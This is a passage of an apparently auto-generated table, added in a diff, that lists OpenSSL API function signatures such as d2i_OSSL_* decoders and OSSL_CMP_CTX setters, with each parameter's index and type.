(OSSL_ACKM *,int) | | ossl_ackm_on_pkt_space_discarded | 0 | OSSL_ACKM * | +| (OSSL_ACKM *,int) | | ossl_ackm_on_pkt_space_discarded | 1 | int | +| (OSSL_ALLOWED_ATTRIBUTES_CHOICE *) | | OSSL_ALLOWED_ATTRIBUTES_CHOICE_free | 0 | OSSL_ALLOWED_ATTRIBUTES_CHOICE * | +| (OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long) | | d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE | 0 | OSSL_ALLOWED_ATTRIBUTES_CHOICE ** | +| (OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long) | | d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE | 1 | const unsigned char ** | +| (OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long) | | d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE | 2 | long | +| (OSSL_ALLOWED_ATTRIBUTES_ITEM *) | | OSSL_ALLOWED_ATTRIBUTES_ITEM_free | 0 | OSSL_ALLOWED_ATTRIBUTES_ITEM * | +| (OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long) | | d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM | 0 | OSSL_ALLOWED_ATTRIBUTES_ITEM ** | +| (OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long) | | d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM | 1 | const unsigned char ** | +| (OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long) | | d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM | 2 | long | +| (OSSL_ALLOWED_ATTRIBUTES_SYNTAX *) | | OSSL_ALLOWED_ATTRIBUTES_SYNTAX_free | 0 | OSSL_ALLOWED_ATTRIBUTES_SYNTAX * | +| (OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long) | | d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX | 0 | OSSL_ALLOWED_ATTRIBUTES_SYNTAX ** | +| (OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long) | | d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX | 1 | const unsigned char ** | +| (OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long) | | d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX | 2 | long | +| (OSSL_ATAV *) | | OSSL_ATAV_free | 0 | OSSL_ATAV * | +| (OSSL_ATAV **,const unsigned char **,long) | | d2i_OSSL_ATAV | 0 | OSSL_ATAV ** | +| (OSSL_ATAV **,const unsigned char **,long) | | d2i_OSSL_ATAV | 1 | const unsigned char ** | +| (OSSL_ATAV **,const unsigned char **,long) | | d2i_OSSL_ATAV | 2 | long | +| (OSSL_ATTRIBUTES_SYNTAX *) | | OSSL_ATTRIBUTES_SYNTAX_free | 0 | OSSL_ATTRIBUTES_SYNTAX * | +| (OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long) | | d2i_OSSL_ATTRIBUTES_SYNTAX | 0 | OSSL_ATTRIBUTES_SYNTAX ** | +| (OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long) | | d2i_OSSL_ATTRIBUTES_SYNTAX | 1 | const unsigned char ** | +| (OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long) | | d2i_OSSL_ATTRIBUTES_SYNTAX | 2 | long | +| (OSSL_ATTRIBUTE_DESCRIPTOR *) | | OSSL_ATTRIBUTE_DESCRIPTOR_free | 0 | OSSL_ATTRIBUTE_DESCRIPTOR * | +| (OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long) | | d2i_OSSL_ATTRIBUTE_DESCRIPTOR | 0 | OSSL_ATTRIBUTE_DESCRIPTOR ** | +| (OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long) | | d2i_OSSL_ATTRIBUTE_DESCRIPTOR | 1 | const unsigned char ** | +| (OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long) | | d2i_OSSL_ATTRIBUTE_DESCRIPTOR | 2 | long | +| (OSSL_ATTRIBUTE_MAPPING *) | | OSSL_ATTRIBUTE_MAPPING_free | 0 | OSSL_ATTRIBUTE_MAPPING * | +| (OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long) | | d2i_OSSL_ATTRIBUTE_MAPPING | 0 | OSSL_ATTRIBUTE_MAPPING ** | +| (OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long) | | d2i_OSSL_ATTRIBUTE_MAPPING | 1 | const unsigned char ** | +| (OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long) | | d2i_OSSL_ATTRIBUTE_MAPPING | 2 | long | +| (OSSL_ATTRIBUTE_MAPPINGS *) | | OSSL_ATTRIBUTE_MAPPINGS_free | 0 | OSSL_ATTRIBUTE_MAPPINGS * | +| (OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long) | | d2i_OSSL_ATTRIBUTE_MAPPINGS | 0 | OSSL_ATTRIBUTE_MAPPINGS ** | +| (OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long) | | d2i_OSSL_ATTRIBUTE_MAPPINGS | 1 | const unsigned char ** | +| (OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long) | | d2i_OSSL_ATTRIBUTE_MAPPINGS | 2 | long | +| (OSSL_ATTRIBUTE_TYPE_MAPPING *) | | OSSL_ATTRIBUTE_TYPE_MAPPING_free | 0 | OSSL_ATTRIBUTE_TYPE_MAPPING * | +| (OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long) | | d2i_OSSL_ATTRIBUTE_TYPE_MAPPING | 0 | OSSL_ATTRIBUTE_TYPE_MAPPING ** | +| (OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long) | | d2i_OSSL_ATTRIBUTE_TYPE_MAPPING | 1 | const unsigned char ** | +| (OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long) | | d2i_OSSL_ATTRIBUTE_TYPE_MAPPING | 2 | long | +| (OSSL_ATTRIBUTE_VALUE_MAPPING *) | | OSSL_ATTRIBUTE_VALUE_MAPPING_free | 0 | OSSL_ATTRIBUTE_VALUE_MAPPING * | +| (OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long) | | d2i_OSSL_ATTRIBUTE_VALUE_MAPPING | 0 | OSSL_ATTRIBUTE_VALUE_MAPPING ** | +| (OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long) | | d2i_OSSL_ATTRIBUTE_VALUE_MAPPING | 1 | const unsigned char ** | +| (OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long) | | d2i_OSSL_ATTRIBUTE_VALUE_MAPPING | 2 | long | +| (OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX *) | | OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX_free | 0 | OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX * | +| (OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long) | | d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX | 0 | OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX ** | +| (OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long) | | d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX | 1 | const unsigned char ** | +| (OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long) | | d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX | 2 | long | +| (OSSL_BASIC_ATTR_CONSTRAINTS *) | | OSSL_BASIC_ATTR_CONSTRAINTS_free | 0 | OSSL_BASIC_ATTR_CONSTRAINTS * | +| (OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long) | | d2i_OSSL_BASIC_ATTR_CONSTRAINTS | 0 | OSSL_BASIC_ATTR_CONSTRAINTS ** | +| (OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long) | | d2i_OSSL_BASIC_ATTR_CONSTRAINTS | 1 | const unsigned char ** | +| (OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long) | | d2i_OSSL_BASIC_ATTR_CONSTRAINTS | 2 | long | +| (OSSL_CMP_ATAV *,ASN1_OBJECT *,ASN1_TYPE *) | | OSSL_CMP_ATAV_set0 | 0 | OSSL_CMP_ATAV * | +| (OSSL_CMP_ATAV *,ASN1_OBJECT *,ASN1_TYPE *) | | OSSL_CMP_ATAV_set0 | 1 | ASN1_OBJECT * | +| (OSSL_CMP_ATAV *,ASN1_OBJECT *,ASN1_TYPE *) | | OSSL_CMP_ATAV_set0 | 2 | ASN1_TYPE * | +| (OSSL_CMP_ATAVS *) | | OSSL_CMP_ATAVS_free | 0 | OSSL_CMP_ATAVS * | +| (OSSL_CMP_ATAVS **,const OSSL_CMP_ATAV *) | | OSSL_CMP_ATAV_push1 | 0 | OSSL_CMP_ATAVS ** | +| (OSSL_CMP_ATAVS **,const OSSL_CMP_ATAV *) | | OSSL_CMP_ATAV_push1 | 1 | const OSSL_CMP_ATAV * | +| (OSSL_CMP_ATAVS **,const unsigned char **,long) | | d2i_OSSL_CMP_ATAVS | 0 | OSSL_CMP_ATAVS ** | +| (OSSL_CMP_ATAVS **,const unsigned char **,long) | | d2i_OSSL_CMP_ATAVS | 1 | const unsigned char ** | +| (OSSL_CMP_ATAVS **,const unsigned char **,long) | | d2i_OSSL_CMP_ATAVS | 2 | long | +| (OSSL_CMP_CAKEYUPDANNCONTENT *) | | OSSL_CMP_CAKEYUPDANNCONTENT_free | 0 | OSSL_CMP_CAKEYUPDANNCONTENT * | +| (OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long) | | d2i_OSSL_CMP_CAKEYUPDANNCONTENT | 0 | OSSL_CMP_CAKEYUPDANNCONTENT ** | +| (OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long) | | d2i_OSSL_CMP_CAKEYUPDANNCONTENT | 1 | const unsigned char ** | +| (OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long) | | d2i_OSSL_CMP_CAKEYUPDANNCONTENT | 2 | long | +| (OSSL_CMP_CERTIFIEDKEYPAIR *) | | OSSL_CMP_CERTIFIEDKEYPAIR_free | 0 | OSSL_CMP_CERTIFIEDKEYPAIR * | +| (OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long) | | d2i_OSSL_CMP_CERTIFIEDKEYPAIR | 0 | OSSL_CMP_CERTIFIEDKEYPAIR ** | +| (OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long) | | d2i_OSSL_CMP_CERTIFIEDKEYPAIR | 1 | const unsigned char ** | +| (OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long) | | d2i_OSSL_CMP_CERTIFIEDKEYPAIR | 2 | long | +| (OSSL_CMP_CERTORENCCERT *) | | OSSL_CMP_CERTORENCCERT_free | 0 | OSSL_CMP_CERTORENCCERT * | +| (OSSL_CMP_CERTORENCCERT **,const unsigned char **,long) | | d2i_OSSL_CMP_CERTORENCCERT | 0 | OSSL_CMP_CERTORENCCERT ** | +| (OSSL_CMP_CERTORENCCERT **,const unsigned char **,long) | | d2i_OSSL_CMP_CERTORENCCERT | 1 | const unsigned char ** | +| (OSSL_CMP_CERTORENCCERT **,const unsigned char **,long) | | d2i_OSSL_CMP_CERTORENCCERT | 2 | long | +| (OSSL_CMP_CERTREPMESSAGE *) | | OSSL_CMP_CERTREPMESSAGE_free | 0 | OSSL_CMP_CERTREPMESSAGE * | +| (OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long) | | d2i_OSSL_CMP_CERTREPMESSAGE | 0 | OSSL_CMP_CERTREPMESSAGE ** | +| (OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long) | | d2i_OSSL_CMP_CERTREPMESSAGE | 1 | const unsigned char ** | +| (OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long) | | d2i_OSSL_CMP_CERTREPMESSAGE | 2 | long | +| (OSSL_CMP_CERTREQTEMPLATE *) | | OSSL_CMP_CERTREQTEMPLATE_free | 0 | OSSL_CMP_CERTREQTEMPLATE * | +| (OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long) | | d2i_OSSL_CMP_CERTREQTEMPLATE | 0 | OSSL_CMP_CERTREQTEMPLATE ** | +| (OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long) | | d2i_OSSL_CMP_CERTREQTEMPLATE | 1 | const unsigned char ** | +| (OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long) | | d2i_OSSL_CMP_CERTREQTEMPLATE | 2 | long | +| (OSSL_CMP_CERTRESPONSE *) | | OSSL_CMP_CERTRESPONSE_free | 0 | OSSL_CMP_CERTRESPONSE * | +| (OSSL_CMP_CERTRESPONSE **,const unsigned char **,long) | | d2i_OSSL_CMP_CERTRESPONSE | 0 | OSSL_CMP_CERTRESPONSE ** | +| (OSSL_CMP_CERTRESPONSE **,const unsigned char **,long) | | d2i_OSSL_CMP_CERTRESPONSE | 1 | const unsigned char ** | +| (OSSL_CMP_CERTRESPONSE **,const unsigned char **,long) | | d2i_OSSL_CMP_CERTRESPONSE | 2 | long | +| (OSSL_CMP_CERTSTATUS *) | | OSSL_CMP_CERTSTATUS_free | 0 | OSSL_CMP_CERTSTATUS * | +| (OSSL_CMP_CERTSTATUS **,const unsigned char **,long) | | d2i_OSSL_CMP_CERTSTATUS | 0 | OSSL_CMP_CERTSTATUS ** | +| (OSSL_CMP_CERTSTATUS **,const unsigned char **,long) | | d2i_OSSL_CMP_CERTSTATUS | 1 | const unsigned char ** | +| (OSSL_CMP_CERTSTATUS **,const unsigned char **,long) | | d2i_OSSL_CMP_CERTSTATUS | 2 | long | +| (OSSL_CMP_CERTSTATUS *,ASN1_OCTET_STRING *) | | ossl_cmp_certstatus_set0_certHash | 0 | OSSL_CMP_CERTSTATUS * | +| (OSSL_CMP_CERTSTATUS *,ASN1_OCTET_STRING *) | | ossl_cmp_certstatus_set0_certHash | 1 | ASN1_OCTET_STRING * | +| (OSSL_CMP_CHALLENGE *) | | OSSL_CMP_CHALLENGE_free | 0 | OSSL_CMP_CHALLENGE * | +| (OSSL_CMP_CHALLENGE **,const unsigned char **,long) | | d2i_OSSL_CMP_CHALLENGE | 0 | OSSL_CMP_CHALLENGE ** | +| (OSSL_CMP_CHALLENGE **,const unsigned char **,long) | | d2i_OSSL_CMP_CHALLENGE | 1 | const unsigned char ** | +| (OSSL_CMP_CHALLENGE **,const unsigned char **,long) | | d2i_OSSL_CMP_CHALLENGE | 2 | long | +| (OSSL_CMP_CRLSOURCE *) | | OSSL_CMP_CRLSOURCE_free | 0 | OSSL_CMP_CRLSOURCE * | +| (OSSL_CMP_CRLSOURCE **,const unsigned char **,long) | | d2i_OSSL_CMP_CRLSOURCE | 0 | OSSL_CMP_CRLSOURCE ** | +| (OSSL_CMP_CRLSOURCE **,const unsigned char **,long) | | d2i_OSSL_CMP_CRLSOURCE | 1 | const unsigned char ** | +| (OSSL_CMP_CRLSOURCE **,const unsigned char **,long) | | d2i_OSSL_CMP_CRLSOURCE | 2 | long | +| (OSSL_CMP_CRLSTATUS *) | | OSSL_CMP_CRLSTATUS_free | 0 | OSSL_CMP_CRLSTATUS * | +| (OSSL_CMP_CRLSTATUS **,const unsigned char **,long) | | d2i_OSSL_CMP_CRLSTATUS | 0 | OSSL_CMP_CRLSTATUS ** | +| (OSSL_CMP_CRLSTATUS **,const unsigned char **,long) | | d2i_OSSL_CMP_CRLSTATUS | 1 | const unsigned char ** | +| (OSSL_CMP_CRLSTATUS **,const unsigned char **,long) | | d2i_OSSL_CMP_CRLSTATUS | 2 | long | +| (OSSL_CMP_CTX *) | | ossl_cmp_genm_new | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *) | | ossl_cmp_pkiconf_new | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *) | | ossl_cmp_rr_new | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,EVP_PKEY *) | | OSSL_CMP_CTX_set1_pkey | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,EVP_PKEY *) | | OSSL_CMP_CTX_set1_pkey | 1 | EVP_PKEY * | +| (OSSL_CMP_CTX *,OSSL_CMP_ITAV *) | | OSSL_CMP_CTX_push0_geninfo_ITAV | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,OSSL_CMP_ITAV *) | | OSSL_CMP_CTX_push0_geninfo_ITAV | 1 | OSSL_CMP_ITAV * | +| (OSSL_CMP_CTX *,OSSL_CMP_ITAV *) | | OSSL_CMP_CTX_push0_genm_ITAV | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,OSSL_CMP_ITAV *) | | OSSL_CMP_CTX_push0_genm_ITAV | 1 | OSSL_CMP_ITAV * | +| (OSSL_CMP_CTX *,OSSL_CMP_MSG *) | | OSSL_CMP_MSG_update_recipNonce | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,OSSL_CMP_MSG *) | | OSSL_CMP_MSG_update_recipNonce | 1 | OSSL_CMP_MSG * | +| (OSSL_CMP_CTX *,OSSL_CMP_MSG *) | | OSSL_CMP_MSG_update_transactionID | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,OSSL_CMP_MSG *) | | OSSL_CMP_MSG_update_transactionID | 1 | OSSL_CMP_MSG * | +| (OSSL_CMP_CTX *,OSSL_CMP_MSG *) | | ossl_cmp_msg_add_extraCerts | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,OSSL_CMP_MSG *) | | ossl_cmp_msg_add_extraCerts | 1 | OSSL_CMP_MSG * | +| (OSSL_CMP_CTX *,OSSL_CMP_MSG *) | | ossl_cmp_msg_protect | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,OSSL_CMP_MSG *) | | ossl_cmp_msg_protect | 1 | OSSL_CMP_MSG * | +| (OSSL_CMP_CTX *,OSSL_CMP_PKIFREETEXT *) | | ossl_cmp_ctx_set0_statusString | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,OSSL_CMP_PKIFREETEXT *) | | ossl_cmp_ctx_set0_statusString | 1 | OSSL_CMP_PKIFREETEXT * | +| (OSSL_CMP_CTX *,OSSL_CMP_PKIHEADER *) | | ossl_cmp_hdr_init | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,OSSL_CMP_PKIHEADER *) | | ossl_cmp_hdr_init | 1 | OSSL_CMP_PKIHEADER * | +| (OSSL_CMP_CTX *,OSSL_CMP_PKIHEADER *) | | ossl_cmp_hdr_set_transactionID | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,OSSL_CMP_PKIHEADER *) | | ossl_cmp_hdr_set_transactionID | 1 | OSSL_CMP_PKIHEADER * | +| (OSSL_CMP_CTX *,OSSL_CMP_certConf_cb_t) | | OSSL_CMP_CTX_set_certConf_cb | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,OSSL_CMP_certConf_cb_t) | | OSSL_CMP_CTX_set_certConf_cb | 1 | OSSL_CMP_certConf_cb_t | +| (OSSL_CMP_CTX *,OSSL_CMP_log_cb_t) | | OSSL_CMP_CTX_set_log_cb | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,OSSL_CMP_log_cb_t) | | OSSL_CMP_CTX_set_log_cb | 1 | OSSL_CMP_log_cb_t | +| (OSSL_CMP_CTX *,OSSL_CMP_transfer_cb_t) | | OSSL_CMP_CTX_set_transfer_cb | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,OSSL_CMP_transfer_cb_t) | | OSSL_CMP_CTX_set_transfer_cb | 1 | OSSL_CMP_transfer_cb_t | +| (OSSL_CMP_CTX *,OSSL_CRMF_CERTTEMPLATE **,OSSL_CMP_ATAVS **) | | OSSL_CMP_get1_certReqTemplate | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,OSSL_CRMF_CERTTEMPLATE **,OSSL_CMP_ATAVS **) | | OSSL_CMP_get1_certReqTemplate | 1 | OSSL_CRMF_CERTTEMPLATE ** | +| (OSSL_CMP_CTX *,OSSL_CRMF_CERTTEMPLATE **,OSSL_CMP_ATAVS **) | | OSSL_CMP_get1_certReqTemplate | 2 | OSSL_CMP_ATAVS ** | +| (OSSL_CMP_CTX *,OSSL_HTTP_bio_cb_t) | | OSSL_CMP_CTX_set_http_cb | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,OSSL_HTTP_bio_cb_t) | | OSSL_CMP_CTX_set_http_cb | 1 | OSSL_HTTP_bio_cb_t | +| (OSSL_CMP_CTX *,POLICYINFO *) | | OSSL_CMP_CTX_push0_policy | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,POLICYINFO *) | | OSSL_CMP_CTX_push0_policy | 1 | POLICYINFO * | +| (OSSL_CMP_CTX *,X509 *) | | OSSL_CMP_CTX_set1_cert | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,X509 *) | | OSSL_CMP_CTX_set1_cert | 1 | X509 * | +| (OSSL_CMP_CTX *,X509 *) | | OSSL_CMP_CTX_set1_oldCert | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,X509 *) | | OSSL_CMP_CTX_set1_oldCert | 1 | X509 * | +| (OSSL_CMP_CTX *,X509 *) | | OSSL_CMP_CTX_set1_srvCert | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,X509 *) | | OSSL_CMP_CTX_set1_srvCert | 1 | X509 * | +| (OSSL_CMP_CTX *,X509 *) | | ossl_cmp_ctx_set0_newCert | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,X509 *) | | ossl_cmp_ctx_set0_newCert | 1 | X509 * | +| (OSSL_CMP_CTX *,X509 *) | | ossl_cmp_ctx_set1_validatedSrvCert | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,X509 *) | | ossl_cmp_ctx_set1_validatedSrvCert | 1 | X509 * | +| (OSSL_CMP_CTX *,X509 *,int,const char **) | | OSSL_CMP_certConf_cb | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,X509 *,int,const char **) | | OSSL_CMP_certConf_cb | 1 | X509 * | +| (OSSL_CMP_CTX *,X509 *,int,const char **) | | OSSL_CMP_certConf_cb | 2 | int | +| (OSSL_CMP_CTX *,X509 *,int,const char **) | | OSSL_CMP_certConf_cb | 3 | const char ** | +| (OSSL_CMP_CTX *,X509_EXTENSIONS *) | | OSSL_CMP_CTX_set0_reqExtensions | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,X509_EXTENSIONS *) | | OSSL_CMP_CTX_set0_reqExtensions | 1 | X509_EXTENSIONS * | +| (OSSL_CMP_CTX *,X509_STORE *) | | OSSL_CMP_CTX_set0_trustedStore | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,X509_STORE *) | | OSSL_CMP_CTX_set0_trustedStore | 1 | X509_STORE * | +| (OSSL_CMP_CTX *,X509_STORE *,stack_st_X509 *) | | OSSL_CMP_CTX_build_cert_chain | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,X509_STORE *,stack_st_X509 *) | | OSSL_CMP_CTX_build_cert_chain | 1 | X509_STORE * | +| (OSSL_CMP_CTX *,X509_STORE *,stack_st_X509 *) | | OSSL_CMP_CTX_build_cert_chain | 2 | stack_st_X509 * | +| (OSSL_CMP_CTX *,const ASN1_INTEGER *) | | OSSL_CMP_CTX_set1_serialNumber | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,const ASN1_INTEGER *) | | OSSL_CMP_CTX_set1_serialNumber | 1 | const ASN1_INTEGER * | +| (OSSL_CMP_CTX *,const ASN1_OCTET_STRING *) | | OSSL_CMP_CTX_set1_senderNonce | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,const ASN1_OCTET_STRING *) | | OSSL_CMP_CTX_set1_senderNonce | 1 | const ASN1_OCTET_STRING * | +| (OSSL_CMP_CTX *,const ASN1_OCTET_STRING *) | | OSSL_CMP_CTX_set1_transactionID | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,const ASN1_OCTET_STRING *) | | OSSL_CMP_CTX_set1_transactionID | 1 | const ASN1_OCTET_STRING * | +| (OSSL_CMP_CTX *,const ASN1_OCTET_STRING *) | | ossl_cmp_ctx_set1_first_senderNonce | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,const ASN1_OCTET_STRING *) | | ossl_cmp_ctx_set1_first_senderNonce | 1 | const ASN1_OCTET_STRING * | +| (OSSL_CMP_CTX *,const ASN1_OCTET_STRING *) | | ossl_cmp_ctx_set1_recipNonce | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,const ASN1_OCTET_STRING *) | | ossl_cmp_ctx_set1_recipNonce | 1 | const ASN1_OCTET_STRING * | +| (OSSL_CMP_CTX *,const GENERAL_NAME *) | | OSSL_CMP_CTX_push1_subjectAltName | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,const GENERAL_NAME *) | | OSSL_CMP_CTX_push1_subjectAltName | 1 | const GENERAL_NAME * | +| (OSSL_CMP_CTX *,const OSSL_CMP_MSG *) | | OSSL_CMP_MSG_http_perform | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,const OSSL_CMP_MSG *) | | OSSL_CMP_MSG_http_perform | 1 | const OSSL_CMP_MSG * | +| (OSSL_CMP_CTX *,const OSSL_CMP_MSG *) | | OSSL_CMP_validate_msg | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,const OSSL_CMP_MSG *) | | OSSL_CMP_validate_msg | 1 | const OSSL_CMP_MSG * | +| (OSSL_CMP_CTX *,const OSSL_CMP_MSG *,ossl_cmp_allow_unprotected_cb_t,int) | | ossl_cmp_msg_check_update | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,const OSSL_CMP_MSG *,ossl_cmp_allow_unprotected_cb_t,int) | | ossl_cmp_msg_check_update | 1 | const OSSL_CMP_MSG * | +| (OSSL_CMP_CTX *,const OSSL_CMP_MSG *,ossl_cmp_allow_unprotected_cb_t,int) | | ossl_cmp_msg_check_update | 2 | ossl_cmp_allow_unprotected_cb_t | +| (OSSL_CMP_CTX *,const OSSL_CMP_MSG *,ossl_cmp_allow_unprotected_cb_t,int) | | ossl_cmp_msg_check_update | 3 | int | +| (OSSL_CMP_CTX *,const OSSL_CMP_PKISI *,const OSSL_CRMF_CERTID *,int) | | ossl_cmp_rp_new | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,const OSSL_CMP_PKISI *,const OSSL_CRMF_CERTID *,int) | | ossl_cmp_rp_new | 1 | const OSSL_CMP_PKISI * | +| (OSSL_CMP_CTX *,const OSSL_CMP_PKISI *,const OSSL_CRMF_CERTID *,int) | | ossl_cmp_rp_new | 2 | const OSSL_CRMF_CERTID * | +| (OSSL_CMP_CTX *,const OSSL_CMP_PKISI *,const OSSL_CRMF_CERTID *,int) | | ossl_cmp_rp_new | 3 | int | +| (OSSL_CMP_CTX *,const OSSL_CMP_PKISI *,int64_t,const char *,int) | | ossl_cmp_error_new | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,const OSSL_CMP_PKISI *,int64_t,const char *,int) | | ossl_cmp_error_new | 1 | const OSSL_CMP_PKISI * | +| (OSSL_CMP_CTX *,const OSSL_CMP_PKISI *,int64_t,const char *,int) | | ossl_cmp_error_new | 2 | int64_t | +| (OSSL_CMP_CTX *,const OSSL_CMP_PKISI *,int64_t,const char *,int) | | ossl_cmp_error_new | 3 | const char * | +| (OSSL_CMP_CTX *,const OSSL_CMP_PKISI *,int64_t,const char *,int) | | ossl_cmp_error_new | 4 | int | +| (OSSL_CMP_CTX *,const X509 *,X509 **,X509 **,X509 **) | | OSSL_CMP_get1_rootCaKeyUpdate | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,const X509 *,X509 **,X509 **,X509 **) | | OSSL_CMP_get1_rootCaKeyUpdate | 1 | const X509 * | +| (OSSL_CMP_CTX *,const X509 *,X509 **,X509 **,X509 **) | | OSSL_CMP_get1_rootCaKeyUpdate | 2 | X509 ** | +| (OSSL_CMP_CTX *,const X509 *,X509 **,X509 **,X509 **) | | OSSL_CMP_get1_rootCaKeyUpdate | 3 | X509 ** | +| (OSSL_CMP_CTX *,const X509 *,X509 **,X509 **,X509 **) | | OSSL_CMP_get1_rootCaKeyUpdate | 4 | X509 ** | +| (OSSL_CMP_CTX *,const X509 *,const X509_CRL *,X509_CRL **) | | OSSL_CMP_get1_crlUpdate | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,const X509 *,const X509_CRL *,X509_CRL **) | | OSSL_CMP_get1_crlUpdate | 1 | const X509 * | +| (OSSL_CMP_CTX *,const X509 *,const X509_CRL *,X509_CRL **) | | OSSL_CMP_get1_crlUpdate | 2 | const X509_CRL * | +| (OSSL_CMP_CTX *,const X509 *,const X509_CRL *,X509_CRL **) | | OSSL_CMP_get1_crlUpdate | 3 | X509_CRL ** | +| (OSSL_CMP_CTX *,const X509_NAME *) | | OSSL_CMP_CTX_set1_expected_sender | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,const X509_NAME *) | | OSSL_CMP_CTX_set1_expected_sender | 1 | const X509_NAME * | +| (OSSL_CMP_CTX *,const X509_NAME *) | | 